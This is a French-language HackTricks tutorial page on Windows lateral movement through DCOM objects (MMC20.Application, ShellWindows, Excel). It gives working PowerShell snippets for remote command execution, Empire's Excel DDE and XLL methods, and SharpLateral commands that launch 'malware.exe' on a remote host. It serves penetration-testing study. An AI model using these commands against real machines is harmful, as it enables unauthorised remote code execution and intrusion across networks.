DCOM Exec

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

MMC20.Application

Pour plus d'informations sur cette technique, consultez le post original de https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

Les objets du ModĂšle d'Objet Composant DistribuĂ© (DCOM) prĂ©sentent une capacitĂ© intĂ©ressante pour les interactions basĂ©es sur le rĂ©seau avec des objets. Microsoft fournit une documentation complĂšte pour DCOM et le ModĂšle d'Objet Composant (COM), accessible ici pour DCOM et ici pour COM. Une liste d'applications DCOM peut ĂȘtre rĂ©cupĂ©rĂ©e en utilisant la commande PowerShell :

bash
Get-CimInstance Win32_DCOMApplication

L'objet COM, MMC Application Class (MMC20.Application), permet le scripting des opĂ©rations des modules complĂ©mentaires MMC. Notamment, cet objet contient une mĂ©thode ExecuteShellCommand sous Document.ActiveView. Plus d'informations sur cette mĂ©thode peuvent ĂȘtre trouvĂ©es ici. VĂ©rifiez son fonctionnement :

Cette fonctionnalitĂ© facilite l'exĂ©cution de commandes sur un rĂ©seau via une application DCOM. Pour interagir avec DCOM Ă  distance en tant qu'administrateur, PowerShell peut ĂȘtre utilisĂ© comme suit :

powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

Cette commande se connecte Ă  l'application DCOM et renvoie une instance de l'objet COM. La mĂ©thode ExecuteShellCommand peut ensuite ĂȘtre invoquĂ©e pour exĂ©cuter un processus sur l'hĂŽte distant. Le processus implique les Ă©tapes suivantes :

Vérifier les méthodes :

powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

Obtenir RCE :

powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

Pour plus d'informations sur cette technique, consultez le post original https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

L'objet MMC20.Application a Ă©tĂ© identifiĂ© comme manquant de "LaunchPermissions" explicites, par dĂ©faut aux permissions qui permettent l'accĂšs aux Administrateurs. Pour plus de dĂ©tails, un fil peut ĂȘtre explorĂ© ici, et l'utilisation de @tiraniddo’s OleView .NET pour filtrer les objets sans permission de lancement explicite est recommandĂ©e.

Deux objets spécifiques, ShellBrowserWindow et ShellWindows, ont été mis en évidence en raison de leur manque de permissions de lancement explicites. L'absence d'une entrée de registre LaunchPermission sous HKCR:\AppID\{guid} signifie qu'il n'y a pas de permissions explicites.

ShellWindows

Pour ShellWindows, qui manque d'un ProgID, les méthodes .NET Type.GetTypeFromCLSID et Activator.CreateInstance facilitent l'instanciation de l'objet en utilisant son AppID. Ce processus utilise OleView .NET pour récupérer le CLSID pour ShellWindows. Une fois instancié, l'interaction est possible via la méthode WindowsShell.Item, conduisant à des invocations de méthodes comme Document.Application.ShellExecute.

Des exemples de commandes PowerShell ont été fournis pour instancier l'objet et exécuter des commandes à distance :

powershell
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Mouvement latéral avec des objets DCOM Excel

Le mouvement latĂ©ral peut ĂȘtre rĂ©alisĂ© en exploitant des objets DCOM Excel. Pour des informations dĂ©taillĂ©es, il est conseillĂ© de lire la discussion sur l'utilisation d'Excel DDE pour le mouvement latĂ©ral via DCOM sur le blog de Cybereason.

Le projet Empire fournit un script PowerShell, qui démontre l'utilisation d'Excel pour l'exécution de code à distance (RCE) en manipulant des objets DCOM. Ci-dessous se trouvent des extraits du script disponible sur le dépÎt GitHub d'Empire, montrant différentes méthodes pour abuser d'Excel pour RCE :

powershell
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Outils d'automatisation pour le mouvement latéral

Deux outils sont mis en avant pour automatiser ces techniques :

  • Invoke-DCOM.ps1 : Un script PowerShell fourni par le projet Empire qui simplifie l'invocation de diffĂ©rentes mĂ©thodes pour exĂ©cuter du code sur des machines distantes. Ce script est accessible dans le dĂ©pĂŽt GitHub d'Empire.

  • SharpLateral : Un outil conçu pour exĂ©cuter du code Ă  distance, qui peut ĂȘtre utilisĂ© avec la commande :

bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Outils Automatiques

  • Le script Powershell Invoke-DCOM.ps1 permet d'invoquer facilement toutes les mĂ©thodes commentĂ©es pour exĂ©cuter du code sur d'autres machines.
  • Vous pouvez Ă©galement utiliser SharpLateral:
bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks